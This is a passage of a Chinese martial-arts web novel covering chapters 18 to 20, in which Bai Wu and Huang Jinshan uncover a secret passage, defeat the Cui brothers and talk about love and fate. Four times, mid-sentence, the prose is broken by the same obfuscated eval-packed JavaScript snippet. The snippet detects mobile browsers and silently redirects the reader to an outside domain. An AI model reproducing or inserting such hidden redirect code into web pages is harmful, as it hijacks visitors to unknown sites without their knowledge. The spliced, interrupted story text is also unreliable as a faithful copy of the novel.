这池上有一九曲回廊,回廊中的亭子正是他们来白玉山庄第一天见兰青溪的地方。 白五没有去别处,直接走到了亭子正下方。 “我对机关了解不深,你仔细看看,这有没有什么蹊跷。” 听闻此话,蒋若木开始搜查起来,他崇拜黄金善,黄金善小时候学的那些东西他也略知一二,“你为何觉得是此处?” “这个池子和九曲回廊,是白玉堂建立之时便有的,池子修缮后比原来更大了,但九曲回廊的位置没变过,之玄师傅的机关,最有可能在这里,这是其一。其二,若歹人要在这里进出机关而不引人瞩目,潜到水下很困难,但在桥下就简单了。” 若他们猜想的没错,这歹人不仅要在此处进出,可能还得带着人或尸体,潜到水下几乎不可能。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16335113|182550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “在这里。”蒋若木很快就找到了,这机关藏得不深,因为师傅们本也没想瞒着他们的。 亭子的四角下方分别有一个小机关,按照《江湖武律》那几个“不”字的排列方向逐一按下,机关便打开了。 不愧是程之玄所做机关,此机关颇为轻巧,按下之后从池底升上来一个小门,这过程没有杂音,小门高度在平时的水面之上,可供一到二人同时进出,且进出时能不沾池水。 这么精密小巧的机关,如今却便宜了那歹人。 众人听闻此处动静,纷纷随白五和蒋若木进了机关。 跟着机关的梯子爬一段距离,机关底下的景色便豁然开朗。 “是个矿洞。”蒋若木摸着四周壁石,是了,冶城挖矿的历史比白玉堂的历史久得多,此山定也是曾经被挖过的。 此矿洞非常宽敞,至少能容纳百余人。 师傅们是不是曾想过,遇到危险时,带着门人躲到这里来呢? 白五不敢细想。 那时一切都太突然了,袭击而来的敌人远比白玉堂的人多,没人能分出时间组织大家躲避。 但若是、若是他当时不与嬴政僵持的话…… “这是《凌云九式》!”前方传来呼声,吸引了众人的目光。 抬头看,师傅的凌云九式,就用朱红色的笔迹刻在前方的石壁上,人形或纵跃、或出拳、或运气,动作轨迹连贯如生,仿佛下一刻就要破壁而出,仰首看着石壁,直觉脖颈酸涩,心生敬畏。 回过首,这石壁的另一面,便是师傅刻了一半的凌云拳。 看着这功法,旁边的蒋若木不自觉就练了起来。 这凌云拳和枯木逢春,竟很是匹配,才练两招,他甚至感觉自己已然参悟了。 白五和兰青溪则都是看着这石壁在沉思。 “庄主,都搜过了,什么都没有,只在那角落里有一大滩水渍。” “搜一下这矿洞是不是还有其他的出口和通风口。”兰青溪还没有发话,白五就习惯性指挥了起来。 兰青溪瞥了他一眼,对着门人继续安排,“照他说的做,让孟若离带着人看看上面是不是有什么其他的机关,你带一批人看看底下还有没有其他出口。” 白五和蒋若木也跟着众人在洞里搜查,不久便发现一处破裂的石壁上有一个小洞口。钻出去后,能发现这洞口在此山的山腰处,这里石壁不厚,可能是因为走的人太多自然破裂了,如今掉落的碎石已经被人人为搬开了,用一些树植遮掩着洞口。 看来这里就是崔知文和韩汶找到《凌云九式》的入口。 “庄主,这里有个机关!” 身后有人惊呼,两人跟着声音走过去,孟若离指着的地方,地上有一大滩水迹,上方石壁上可见明暗白点,孟若离分析这是利用光影产生的棋阵,破解此棋局便可打开机关。 此地与洞内其他地方不同,是刻意挖掘的一个墙角,墙面比矿洞内其他石壁平整许多。 “这里是漏雨吗,怎么会有这么多水啊?” 身旁有人在问,白五蹲下观察这水迹。蒋若木也顺势蹲了下来,伸手摸了这水,“这水是冰的。” “这是冰块化了后的水,这机关上方应该就是之玄师傅的书房。” 这几日的寒气入体,估计就是因为这里放了储存尸体用的冰块。 也可能是因为死者的冤魂在向他呼叫吧。 18. 瞳中令 序 蝴蝶落在少年的剑上,飞蛾扑向生命的焚炉。 她是他将尽生命里的一缕仙尘。 ——瞳中令—— 黄金善是被脚步声吵醒的。 带这么多人,来索命的。 可是她真的很困。 拼尽全力睁开眼睛再拼尽全力站起身,那群人已逼近房门了。 唉,可不能让兰庄主的山庄见血,帮忙得帮到底。 打开房门,利刃便擦脸而过。 血从脸颊流过和眼泪从脸颊流过的感觉很像。 黄金善将疼痛付之一笑,然后接受自己奔涌而来的愤怒的感觉,也很像。 “崔知行,你疯了?”黄金善抬手,慢慢揩去脸上的血迹,她斜睨着他,眼里的嘲弄仿佛在看着一场闹剧。 崔知行深吸一口气压下心底情绪,他这次不会再失态了,他在心里告诉自己,黄金善的眼神不管如何唬人,她如今就是个手无缚鸡之力的小姑娘。 “眼看韩汶的事暴露了,准备抓我回去交差?”黄金善就如此直视着崔知行向他走去,崔知行带人围住了她,一众护卫的眼神从她身上扫过,她就像那箭锋向崔知行逼近。 “如今给谢飞光干事的,都是崔家这种不入流的门户了?”她笑着,轻巧地揭开崔知行的体面。 师傅果然还是要来抓自己,不过应该是崔家主动揽活邀功的,毕竟谢飞光应该知道,凭崔知行的实力,要得手很难。 眼看黄金善走到离崔知行不过几步的距离,他提剑指向黄金善,抬手示意护卫抓住她。 “跪下。”黄金善还是直视着崔知行。 崔知行不知为何,全身的筋骨都不听使唤,双腿一软便跪了下来,黄金善的话带着一种不容置疑的穿透力,好似咒语穿过他的双耳,又在他头边盘旋,他拼命想要甩开,却只感觉这咒语越缠越紧。 局势已然逆转,如今黄金善看他的视线变成了俯视,周围护卫看不懂眼前这一幕,面面相觑、踟蹰不敢向前。 “九年前,我就是靠这瞳中令,超过谢飞光,成为天下第一的,”黄金善抖抖袖子,双手抱在身前,她笑得轻蔑,目光环视一圈这些戴着面罩的护卫,嘲讽的话语中能听出她的怜悯,“崔家还是太小了,这些事都不知道,就听谢飞光的话跑过来送死吗?” 她将目光锁定到崔知行右手边的一名护卫身上,那人立刻拔剑向她刺来。对准那人的眼神,她正准备开口时,有人搂住她的肩将她侧身转了过去。 “怎么回事?”白五刚刚从卧房的机关里出来,便看见这一群人围着黄金善,他立刻踢飞两个护卫跑了进来。 “那护卫是崔知文。”黄金善拉住白五的手臂,在他身侧轻声说道,“你小心些,让蒋若木去打,别用了内力。” 白五低头看她,她刚刚脸上的血迹沾在了他肩头上,模模糊糊能看到她脸上有伤,却看不清刀口有多深。 她眼神还是这样势在必得。他用手轻轻摸了她的伤口,她也抬头看向了他,眼神疑惑,却看到他笑了。 “徒弟出马,未免显得我太不重视了。”他手里只拿着刚刚从机关上随手拿的木杆子,“这可是嬴盟主都要挑战的文公子,逃跑也说不过去吧。” “一个用不了内力的病秧子,这两天吐的血还不够多吗,要赶来送死。”崔知文扯下了面罩,欲向白五出招。他运内力集于剑梢,虽然凌云拳的秘籍只有一半,但他已参破其中运气的精髓,也靠此打赢并杀了韩汶。 这阵仗看着不简单,黄金善还是拉着白五,不欲他与崔知文交手。此人几斤几两尚未可知,而白五用不了内力却已摆在了明面上。 “关心我现状的人还挺多呀,”白五轻笑一声,掂了掂手里的木杆,“可惜了,揍你,不需要用内力。” 白五见蒋若木已经赶来了,将黄金善推到蒋若木身后,挥杆便出招。 第一招,杆指崔知文腋下,木杆轻扭,卸了他持剑的力,第二招,木杆向上一折,力道顺势击中崔知文的脊柱,他惊呼一声的同时,白五已抽出木杆,第三招直打他颈侧。 众人还未看清,崔知文已捂颈倒地。这速度并没有给崔知文反应的空间。 “速度、技巧、力量,”白五收起了木杆,回头看向地上的崔知文,“你们这代生的不好,没见过什么叫武学奇才。我打人,一般不需要用内力。” 转身,他又将木杆甩了出去,杆子一头正中崔知文心脉。 废人武功,他最熟悉了。 “心无敬畏之心,不配学我师傅的武功。” 白玉山庄的其他人已经赶来,白五无心继续迎战,扶黄金善回了房间。 黄金善今日整日状态都很差。 烛龙忌用脑过度而燥热,她这两日忙碌奔波,夜里也并未好好休息,如今面色已是一种近乎透明的白,双唇无半点血色,如此状态让人不由得心惊。 白五将她安置在榻上,还需要双手扶住她才能让她勉强坐起来。 “你怎么回事?”他俯身,用手抚摸她的额头,很凉。 黄金善就这样看着白五。瞳中令确实耗费心神,但真让自己如此忧思的是早上芈芊送来的信。 她已找到能缓解土中碧的灵药,是桐风草,此物能够缓解土中碧对目力等五感的影响,并且能够压制土中碧的毒性。但说到底是治标不治本,要治土中碧,有更简单的方法。 白五的内力既然有能力压住这个毒,便有能力将此毒运出去。 把土中碧运出去,毒自然就解了。 并不是所有内力都能压制土中碧的,能通过这种方式解毒的人极少。那人既然知道枯木逢春能够压制并控制土中碧,却还是给他下了这毒,不过是料准了他不会为了解毒害人。 真是够歹毒啊。 羊刃驾杀,不宜见血,若见了血,恐开杀戒。 这就是白玉春这一生要渡的劫。上天要他以无锋之剑立于江湖,以无刃之心立于天地。何其难。 他生来是一把利刃,剑剐不了敌人的肉,便只能剐自己的心。九年来,他就如此活在对白玉堂的自责中,然后静悄悄地等待自己的死亡。 在这件事上,她懂他。 好似下定了决心,她就这样看着他。喉头涌上腥甜的燥热,她又咳血了。 白五看不懂她眼神里的悲悯,那眼神好似温柔的怀抱轻抚过他,但触及心底的却是恐惧。 是一种被彻底看透的恐惧,也是忧心这种温柔就此离开的恐惧。 她双臂环上他的肩颈,吻了他。 渡入他口的是刺骨的血腥味。 她的吻让他很害怕,他怕自己从此失去了离开的勇气。 她的吻也让他很沉溺,他沉溺于她的那些意气与坚定如今属于他,沉溺于她的血中带着那种丝丝的甜味。 果然还是蜜饯吃太多了吧。 烛龙的力量加上凑得足够进,他终于看清了她。 她脸颊清瘦,但有着属于二十余岁少女的温润,皮肤就如上好的羊脂玉,光华内敛,却因如今的病弱让人感觉清冷,羽玉眉为她添了几分出尘的英气,鼻侧的小痣像一点尘埃,将这张脸又拉回了人间爱恨之中。 他双手轻抚她的头,闭上眼,感受她潮湿柔软的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16340331|182550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 双唇和她的血气带来的暖意。这种感觉很奇妙,突如其来的惊喜慢慢变成无法自拔的沉溺,最后又被排山倒海的悲伤所挤压。 他曾以为爱是蝴蝶落在少年的剑上,结果却是飞蛾扑向生命的焚炉。 他们同样登上过顶峰、同样心系众生、同样万人敬仰,自以为手中握着一切的天之骄子,却在如今同样奔赴黄泉时相遇了。 他因她而产生的悲伤远远胜过自己,爱吃蜜饯的少女,本该甜蜜的人生里却吃尽了漂泊离散之苦。 她是他将尽生命里的一缕仙尘。 于心有戚戚,他认命了,那她呢? 她睁眼,唇轻巧地离开了他,“我的血对你挺有用的,别浪费了。” 她侧过头,瞳中令要在最脆弱易感时下手,她已经做到了。 但他的反应却让她不知如何继续开口。 他留恋这个吻,她感觉到了,但她却要用这个吻来操控他吗? 她没看他,只低头说着,“把土中碧运出去,你的毒就解了。” “把毒运给我吧。” “不行!”白五撒开了搭在她脑后的手,本能地向后退了两步。 “我不会就这样让自己去送死的,”黄金善擦了擦自己唇边的血迹,重新对上白五的眼睛,“连崔家的人都知道你的身份了,谢飞光肯定早就知道了,在翡城我是逃不离他的眼线的,那日竹林里的刺客一定就是他安排的。” “我不知道谢飞光要的是什么,但以我们现在的力量,若他要置我们于死地,我们无力还手,”黄金善是很果决的人,但她行事从不草率,有些话她需要和白五说清楚,“土中碧和烛龙天性相克,你喝了我的血就能好转,说明以毒攻毒是有效的,你把毒运给我,我未必就会死。” “你有几成把握,便敢如此行事?”白五反问的语气里带着愤怒,黄金善的这番话并不能说服白五。 她不过二十一岁的小姑娘,他在这个年纪便因为冲动自负做了不少错事。他不愿她也像他一样后悔终生。甚至有可能,根本没有后悔的机会。 “你中了土中碧,尚且活了九年,凭什么断定我就不可以。”她眼神坚定,让白五不知如何作答,“抱歉将你拖入此局,但若无魄力,此局便是死局。” “什么局,什么天机,你要我为此打破我的信念,却不愿向我透露分毫吗?” 他们相识至今,他从未真正了解她。她如何在灭门惨案中活了下来,如何来了翡城,为何要寻他,为何要帮他,他全无所知。 但她却知道他的种种往事,知道他的为人,知道他的牵挂,知道他的遗愿,也知道他最大的弱点就是心软。 自己受了黄金善的恩,帮她,他毫无怨言。 他一直是个很淡的人,但面对黄金善,他突然就不想这么心软了。他想了解她,至少,知道他为何拥有了那个吻。 他想再发问,手撑在桌子上,试图借一些力,却不料含有烛龙的血让他内力上涌,一下没控制住,用力太猛,连人带桌子倒了下去。 他顺势跌坐在地上,黄金善坐在床上俯视着他,见他窘迫,又抱歉地将头转了过去。 屋外敌人已清,蒋若木听到房里的动静立刻冲了进来,眼见白五嘴角还有刚刚的血痕,激动喊道,“师傅,你吐血了?” 没人说话。蒋若木看着他,又看看坐在榻上的黄金善。 夕阳的暖光从她身后的窗户里撒了进来,她被光所笼罩,看不清神色。 “白玉春,天机不可泄露。” 白玉春是黄金善棋盘上剔透的棋子,而黄金善是白玉春命运中看不透的手掌。 19. 大知闲闲,小知间间 序 此身天地一虚舟,何处江山不自由。 ——大知闲闲,小知间间—— 崔知行和崔知文已被擒。 他们发现众人找到密道时便想逃跑,谁料白玉山庄的守卫和机关他们都无法轻易地突破。退而求其次准备抓黄金善去向谢飞光寻求庇护,本以为所有人都不在是最好的得手时机,却没注意到房里还有机关与矿洞相连。 两人基本都招了。 崔家根本没准备让崔知闲入赘白玉山庄,而是想在兰庄主这敲一笔之后,将其送给惟德公主。 大婚前一晚,崔知文打晕了崔知闲,把人装在嫁妆箱子里,通过九曲桥下的密道将其运到矿洞,又把尸体运了进来。尸体一直泡在冰块中,不曾腐烂,这样才能让众人以为是崔知闲成婚当日死在了房里。换好后,崔知行从山腰进入矿洞,将人运出去,而崔知文则假扮成崔知闲与兰庄主成婚,在兰庄主发现尸体、崔知行带护卫押着兰庄主时,趁乱跟着护卫跑了出去。 至于死者韩汶,崔氏兄弟并没有交待太多。但黄金善知道,工部与谢飞光一向不对付,简单授意一下,崔家便会出手。崔知文和韩汶都习了凌云拳,对于崔知文来说,灭了一个知道自己秘密的潜在竞争者、又能在谢飞光面前挣一功、还能替家里除了这个驸马方便他们送自己的人到惟德公主身边,可谓一举多得。 翌日清晨,白玉山庄的正堂之中,台阶下百八十门人密密麻麻地站在两侧,兰青溪走到上首的座位前,回头俯视众人,整齐宏亮的声音便震醒了白玉山庄。 “拜见庄主。”江湖门派原是这般威风。 兰青溪抬了抬手,“将人都带进来吧。” 被押入正堂的崔氏兄弟还在叫嚣着,控诉这些江湖莽夫竟对京城中的贵公子如此无礼。 “可笑,”有下人为兰青溪递上了茶,她撇着茶叶,“你们杀了韩汶,还觉得韩尚书会饶了你们吗?” “再怎么样,也轮不到你一个卑贱女子审判!”崔知行被人押着跪在地上,只能努力抬眼怒视兰青溪。 “你们这样的货色确实还轮不到我来审判。”她抿了口茶,抬头看向崔氏兄弟,两人已受过刑,衣衫破漏,头发乱的像杂草,若不是崔知行时时叫唤,根本没人相信这二人是来自京城的贵公子。不过相比之下,崔知文就安静得很,自从白五废了他的武功,他已失了魂魄,对外界的事物都没什么反应。 “我兰青溪是很公允的人,”她走下台阶,要亲耳听听他们的回复,“崔知闲现在在哪呢?你们是死是活,当然应该由苦主来决定。” “哈哈哈哈哈哈,”崔知行还在不知死活地笑着,“人都送给惟德公主了,你难道还想要回来吗?” “这惟德公主最好美色,不会真将崔知闲强抢了去吧?”人群里已有议论纷纷的声音。 开堂审判的时间实在是太早了,人都问了一轮了,黄金善才打着哈欠,带着蒋若木从大门姗姗来迟。 之前几日跟在兰青溪身边的都是她的亲卫,都是些后辈,此刻白玉山庄人多,不少在江湖上的老人,还是不让白五出来了,免得惹什么是非。 今日过来主要是给兰青溪撑腰的,有了御赐的江山月,就算是把崔氏二人砍了也说得过去。江山月,就是陛下赐给定国公家的定江山扶正义之权。 “惟德公主可不是你们这种人能随便议论的。”见黄金善走了进来,堂上的嘈杂声渐渐歇了。 她这表妹确实有点贪图美色。但是当着这么多人的面还是得维护一下人家的面子。 更何况,惟德可不是简单地喜欢美色,她要男人貌美的同时还得聪慧能干贤良持家有一技之长能为她所用,不然照她的话说,就是给她这位全世界最尊贵的长公主暖床都不配。 “放心吧兰庄主,人会回来的。” 黄金善此话让兰青溪心放下来一半,她刚打算命人将这二人送回去关起来,便有人踹开了白玉山庄的大门。 来者看着是位十几岁的少年,身着一套玄色衣装,腰带与护甲都刻着精致的暗纹,是京城中常见的护卫打扮。 长发高束,一手持剑,另一手扶着一个人,正是崔知闲。 他如今半倒在那男子身上,碎发遮去半边脸,侧颜骨相宛若天成,眼角一颗鲜红的痣平添了媚气。 看到众人都惊叹于崔知闲的容貌,那玄衣少年无语叹气,对着兰青溪平淡地喊道,“公主命我回来送人,她说太老了,她不喜欢。” 说罢,他随手将崔知闲甩给身旁一个侍卫,转身便要走。 兰青溪赶忙追了上去,“慕无定!” 少年只留下一个背影就走了,他还是无法原谅兰青溪,原谅这座埋没了他父亲的白玉山庄。 * “是你传信给慕无定的吗?”黄金善给白五喂着药,她对白五这几个徒弟还有些好奇。 “我让他去帮忙找找,我只知道他在京城,没想到他在做公主的护卫。”白五偷偷抬眼看着黄金善,她正看向别处沉思。 那日之后,她再没提过解毒的事了,他也不知道她究竟在想着什么。那个吻在她那里也许就这样过去了,他想问,也不知道该如何开口。 白五突然想起在这山庄里只剩一个还说得上话的异性。 * 崔知闲回来以后便昏迷了,兰青溪守在他床旁。 他睁开眼,兰青溪的秀发就晃在他眼前。她低头正看着信,掌管武林,这样的信她每日得看上百封,还有各家账册,往来应酬,她是很忙的。而他是世俗意义上的花瓶,是英雄在人间的一瞥。 兰青溪转头注意到了他,“醒了?怎么也不说话。” 她想他许是睡了太久嘴干,给他递来了茶。他撑起身体喝着茶,兰青溪便起身要向外走。 他还来不及放稳茶杯,马上凑上前,在背后双手环住她的腰。茶杯落在地上,清脆一响。 “别走,”他将头埋在她后腰,“别不要我。” 他一生已经被抛弃过很多回了,父亲、兄弟、朋友、家族,从没有谁告诉他会让他过上心安的日子。只有兰青溪。 兰青溪轻轻拿开他放在自己腰上的手,转身将他的头抱在怀里。 “我不会走的。” 她将侧脸轻靠在他头顶,手拍着他的背,“我把那两个人带过来,给你处置。” “不必了。”他双手又抱上她的腰,半个身子埋在她怀里。 兰青溪双手撑起他的肩,看着他不解地说,“为什么?在我这里,不必守你们崔家的规矩,我不会让你受委屈的。” “你打理朝中的关系不容易,处置他们给我出气,也就是给你添麻烦罢了,”崔知闲看着她笑了,继续抱着她撒娇,“你差人把他们送到韩尚书那去吧,该怎么处理就怎么处理,我不想看到他们,我只想和你在一起。” 白五推开门缝看到的正是这一幕,他小心地又关上了门,身后的黄金善只疑惑地看了他一眼,直接推门走了进去,“兰庄主,我们来辞行。” “啊!不好意思——”刚走进房门,黄金善就尴尬地退了两步准备出去。 “无碍。”兰青溪回过头,她正巧也想找白五,“明宸郡主,我有些话想单独和白大侠聊聊,麻烦您稍候。” “好。” 兰青溪与白五两人先走远了,房内就只剩下黄金善和崔知闲。 “郡主,轻便。”崔知闲刚刚披上了外衣,正在给黄金善沏茶,还是一副弱柳扶风的模样。 黄金善突然有些疑惑自己为什么被单独留在这里了。这间是兰庄主的房间,按理说她在一个女子房里也没什么奇怪的,但是崔知闲的存在还是让她感觉有些不自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16347563|182550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在,可以说美色还是有一点震慑力的,换做别人,黄金善直接以不方便为由把对方赶出去就是了,但对着崔知闲总是不好开口。 因为他不仅美,还很可怜。 “许久未见郡主了,别来无恙。”倒好茶,崔知闲举杯向黄金善示意。 很多年前,二姐和崔知闲谈婚论嫁的时候两人曾是见过的,但说起来也没什么可以叙的旧,黄金善同样举杯示意,两人便再无话了。 “此番多谢郡主了,惟德公主还让我代她向你问好。” 提到惟德公主,黄金善想到自己也是该关心关心她的情况了。真是造化弄人,三年未见的表姐妹居然会通过这种方式传话,“她怎么样?” “一切都好,”崔知闲说着,“公主说等着你回宫里。” 回宫里,自己还会回宫里吗? 简单的对话结束,两人就又陷入了沉默。 “郡主可是不太喜欢我?” “何出此言?”黄金善诧异,她望向崔知闲,怕他有什么误会。 “当年悔婚确实是我不对……” 崔知闲还没说完,黄金善就打断了他,“那是你家里的问题,与你无关,我二姐如今也找到良配了,”想到二姐,她停顿片刻,“也还好她最后嫁出去了,若你入赘相府,你们俩如今可能都死了。” “京城都传言,明宸郡主为人孤傲,从不与无用之人多说半句话。”崔知闲轻声喝着茶,又小心翼翼地说,“公主瞧不上我,郡主肯定也是瞧不上的。” “这不是传言,我为人确实不算亲善,”黄金善放下茶杯,在桌子上撑着头,“不过,何为无用之人呢?” “碌碌无为、仰人鼻息,像我这样的。人如其名,哥哥们都叫知行、知文,我一无所有,便叫知闲。” 黄金善看着崔知闲,他也回望着她,他笑得淡淡的,有点苦。黄金善突然发现他好像一直如此,从几年前到现在,就像生性不会笑的木偶。 “大知闲闲,小知间间。”她就这样平淡地开口。 崔知闲愣住了,还没有反应过来黄金善说的话。 “崔公子,我很喜欢这句话。”黄金善放下了撑着头的手,坐正了看着他,“我不知你家里情况究竟如何,但你母亲为你取了这个名字,就注定了你与他们是不同的。” 崔知闲垂下了头,他母亲只是崔侍郎的一个小妾罢了,读过几句诗,还未真的依靠儿子享福,就被掌家的主母害死了。他从未想过母亲取的这名字有何深意。就像他的人生,他也不知活着到底有何深意。 “知行、知文又如何,如今也难逃一个死字。人生最怕的就是要的东西太多,无用方为大用,无为才能有为。于名利做一个闲人,于天地做一叶闲舟。” 黄金善看他眼神困惑,笑了,“命运让你遇上兰庄主,就是要让你知道,天地辽阔,你坐在这白玉山庄,看风起云涌,天地万象,就会知道,何必拘于往事恩怨,官场浮沉呢?” “那你呢?”崔知闲握紧了茶杯,反问道,“郡主每日殚精竭虑,还亏败了身子,若无所求,为何如此?” “我有所求。”黄金善望向窗外,正午的阳光正盛,碧蓝的天上飘着几片薄云,她仿佛看到远方街道熙攘,耕作的人们正在乘凉。 “人和人之间,生来有的东西是不一样的,从我学相术以来,就注定当不了闲人,做不了闲舟了。” “郡主所求为何?” “我所求,为天地立心。” 人一生所求的东西不能太多,黄金善一直都知道。 她从不在意什么功名。她要为天地立心,哪怕用她的血来洗清这世道,用她的命来换天下太平,她亦觉无碍。 天机不可泄露,天地万物皆有缘法。她知道了人不该知道的事,就必定会付出代价。 她会一个人承受。 20. 爱是 序 兰青溪说,爱不是肆意张扬,爱是小心翼翼。 蒋若木说,爱是屁股决定脑袋。 ——爱是—— “你找我出来,是为了问慕无定的事吧?” 白五和兰青溪二人又来到莲花池旁。 “你这都知道?”兰青溪看向白五,看五官,其实他与九年前并无什么差别,但不熟悉的人看他,绝对是认不出他就是白玉春的。 是什么磋磨了他?毒药、仇恨、愧疚还是生活呢?又或是,他只是老了。 “无定都挺好的,”白五看着池中的荷花,努力回想着九年前这池子是什么模样,“孩子大了,如今我也管不住,这不,我也才知道他在公主府里当差。” 在公主府,便免不了涉足朝堂之事,兰青溪满脸忧虑,刚要开口却被白五止住了,“你放心吧,教了他这些年,他水平已在十七岁的你我之上了。慕声师傅的亲儿子,不会差的。” 光论武功,白五其实也不知道到底是十七岁的他强,还是如今的慕无定强。不过他可以确认的是,如今的慕无定比当年的他更有定力,更努力谦逊。他相信慕无定会有一番作为。 提到慕声师傅,两人相顾无言。 白五想起来了,多年前这里没有花,而是几个木桩子,是廖无痕教他们轻功的地方。 “你也有话想问我吧,白玉春。”沉默良久后兰青溪开口问他,“是关于明宸郡主的事吗?” “你也知道?”白五惊讶。一起长大十余载,两人到底还是有些默契啊。 “你喜欢她吧。”兰青溪装作漫不经心地说。 白五马上开口问道,“为什么这么说?” “你看她的眼神,”兰青溪回忆着他们相遇后的点滴,白五看黄金善的眼神,很特别,“很伤感。” “这就能算是喜欢吗?”白五笑了,“我只是在她身上看到了曾经的自己。我二十一岁的时候,也是这般少年意气。” 两人的思绪飘了起来,属于他们的英雄故事太多,没人知道他们在怀念的是哪个时刻。 “但我有的时候想,我们还是不一样的。”白五继续道,“你那时总说我冲动、没定力,我就想如果我二十一岁时有她这般定力,是不是一切都会不一样呢?” “所以你伤感,是因为恨当年的自己?”兰青溪问,这是她埋在心里很久的问题。她不知道白玉春是怎么看待当年的事和当年的他们的,这么长时间,她不想问、也不敢问。 “也不完全是,”看着曾经黑漆漆的水池,如今泛着白雾,艳丽的莲花在秋季仍然盛开,白五感叹着,“九年了。时间太长了。我一开始,恨碎石帮、恨通天派、恨对我恩将仇报的那些人、恨挑战我的嬴政,后来,我恨你没有救慕声师傅、恨自己眼睁睁看凌云师傅死去,再后来,我只恨我自己,恨我少年意气、自以为是、骄傲冲动。” “可是再往后呢?人总要活着,我杀了九年的猪、攒了九年的钱。”白五叹了口气,“我好像不知道恨为何物了,看着无定武功这么好、素月明河在你这很开心、花锦相风也平平安安地长大了,我突然觉得,这样也不错。” “不涉足这江湖,我就能永远守着我的心。不杀人对白玉春来说很帅,但是对白五来说是很普通的事。” 白五还在自顾自地说着,“我伤感,可能也是因为,纵然黄金善比我更聪明、更有定力,我们还是逃不过一样的结局。一样的死局。” “那你为何觉得自己不喜欢她呢?”兰青溪从侍女手里拿了饲料,开始喂起池里的鱼。 白五刚刚说的话,就如饲料落入这池中,在她心上留下轻微却紧密的波澜。她知道自己需要把话题转开了。 “我为她什么也做不了。”白五看着池里的鱼,悠闲地吃着饲料,不争不抢,兰青溪连鱼都养得这么好。“我只能看着她,然后和她一起等待着死亡。将死之人又如何去谈那情爱呢,徒增烦恼罢了。” “白玉春,爱不是肆意张扬,爱是小心翼翼。你自以为放下自己的少年心气,却又爱上了她的意气,白玉春,你到底还是个侠客。” 生命从一个特别的人出现开始,一切都会变得有些不一样,爱如此、恨亦然。爱恨起落,也许是人一生的课题,但也可以就在那么几个瞬间。 思及此,往事也豁然了一半,兰青溪看向他,“白玉春,你还恨我吗?” 白玉春说,“不会。” 兰青溪说,“我也是。” * 一切都告一段落,三人与兰庄主和崔知闲也匆匆辞别了。 红衣、金剑、金光,尽管没在白玉山庄找到一样的场景,这些线索黄金善还是一个不落地问了兰青溪。别的都拿不准,但金剑是稀罕物,金子软,江湖上没有人会用金子铸剑的,但黄金善确信天机里白玉春拿着的是一把真剑,而非金子做的展示品,那便只有可能是黄金错刀了。 黄金错刀是把源自西域的稀罕剑。对于此剑的传说众说纷纭,却无人否认它价值连城,如今它并没有佩戴在某个大侠身边,而是被收藏在四海钱庄。兰青溪前不久刚受邀观赏过此物,她很确定。 得到消息,黄金善便催着两人匆匆出发了,冶城在京城东南部,去京城尚要两三日左右车程,四海钱庄在京城北部,三人过去还要一段时间。 况且,先前得知连白玉山庄所在的山都是蒋府的,再不走,又有人要追来了。 走之前,黄金善还不忘先征得兰庄主的同意,再到冶城把那些多出来的云锦纹红绸卖了,兰青溪其实有些迟疑的,自己这婚结得惊险,不知是否气运不佳,怕这些布料给其他新人带去不祥之气。 黄金善却觉得完全不是这样,“感情上的事嘛,破除万难本就比一帆风顺更加珍贵,”她看着这对新人,顿觉圆满得很,“兰庄主,崔公子,放心吧,你们姻缘天定,恐怕能相伴三世呢。” 作为从小长在皇宫的相术师,吉祥话她信口拈来,不过,黄金善知道,这吉祥话也不只是嘴上说说的。 * 当晚他们宿在了姚叔这,白五还是要和花锦、相风两个孩子道个别,今日启程便不似往日在翡城那么近了,还不知下次何时才会见面。 黄金善依旧是早早地睡下了,师徒俩人又跑到崖边亭子里喝酒。 “明明才过去没几天,”蒋若木感叹道,“总觉得发生了好多事。” “你的武功已经是今时不同往日了。”白五笑着打趣道,“只是学了枯木逢春便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16352917|182550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有这般进步,再习剑法应当成果斐然。” 蒋若木低头看着自己手上的剑。江山月,定江山扶正义,自己终于要有配得上这剑的剑法了吗。 “好了,不聊武功了。”白五举着酒瓶,向蒋若木碰杯,“我有话要问你。” 